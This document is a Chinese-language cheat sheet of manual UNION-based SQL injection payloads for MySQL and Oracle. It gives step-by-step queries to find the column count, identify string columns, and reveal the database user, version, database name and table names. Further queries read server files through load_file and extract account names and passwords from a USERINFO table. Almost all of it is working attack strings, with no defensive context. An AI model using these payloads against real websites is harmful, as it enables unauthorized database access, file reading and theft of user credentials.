判断前表查询列数
union select 1 返回正常 表明前表为一列
union select 1,2,3,4,5 返回正常 表明前表为五列
union select null,null,null,null,null
oracle:
union select null,null,null,null,null from dual (oracle默认表名)
前后表对应列的数据类型要兼容
判断前表哪列是字符
union select '1',2,3,4,5 返回正常 说明第一列为字符
如果前表出错,将返回后表的结果
id=-1 union select user()
id=-1 union select database()
### 判断注入点
1 2
and 1=1 返回正常 and 1=2 返回错误
判断用户名
1 2 3 4
id=-1 union select user() 联合查询 union select current_user() 当前用户 union select system_user() 系统用户 id=-1 union select session_user() 连接数据库的用户
判断版本号
1
id=-1 union select version()
判断当前连接数据库
1
id=-1 union select database()
判断表名
1
id=-1 union select table from ddbname
判断值
1
id=-1 union select username from dbname
读文件(load_file())
1 2
id=-1 union select load_file('c:\boot.ini') 将文件名 c:\boot.ini 转换为十六进制 绕过“\”转义
手工注入Oracle
猜字段数
1 2 3
id=-1union select null , null from dual id=-1union select null, null , null from dual id=-1 union select null,null,null,null,null,null,null,null,null,null,null,null,null from dual
猜哪个字段为字符串
猜哪个字段是字符串型
1
id=-1 union select '1',null,null,null,null,null,null,null,null,null,null,null,null from dual 第九个
猜用户
1 2
id=-1 union select null,null,null,null,null,null,null,null,user,null,null,null,null from user_tables 将用户代入字符串字段
查看版本信息
1 2
id=-1 union select null,null,null,null,null,null,null,null,banner,null,null,null,null from v$version 将banner代入字符串字段
看库名
1 2
id=-1 union select null,null,null,null,null,null,null,null,name,null,null,null,null from v$database 将库名代入字符串字段
看表数
1 2
id=-1 union select null,null,null,null,null,null,null,null,count(*)||'',null,null,null,null from user_tables 将count(*)||'' 函数 代入字符串字段
看第一个表名
1
id=-1 union select null,null,null,null,null,null,null,null,table_name,null,null,null,null from (select rownum aa,table_name from user_tables) where aa=1
查看表的记录数
1
id=-1 union select null,null,null,null,null,null,null,null,count(*)||'',null,null,null,null from USERINFO
查看第一条记录
1
id=-1 union select null,null,null,null,null,null,null,null,USER_ACCOUNT,null,null,null,null from(select rownum aa,USER_ACCOUNT from USERINFO)where aa=1
查看密码
1
id=-1 union select null,null,null,null,null,null,null,null,PASSWORD,null,null,null,null from(select rownum aa,PASSWORD from USERINFO)where aa=1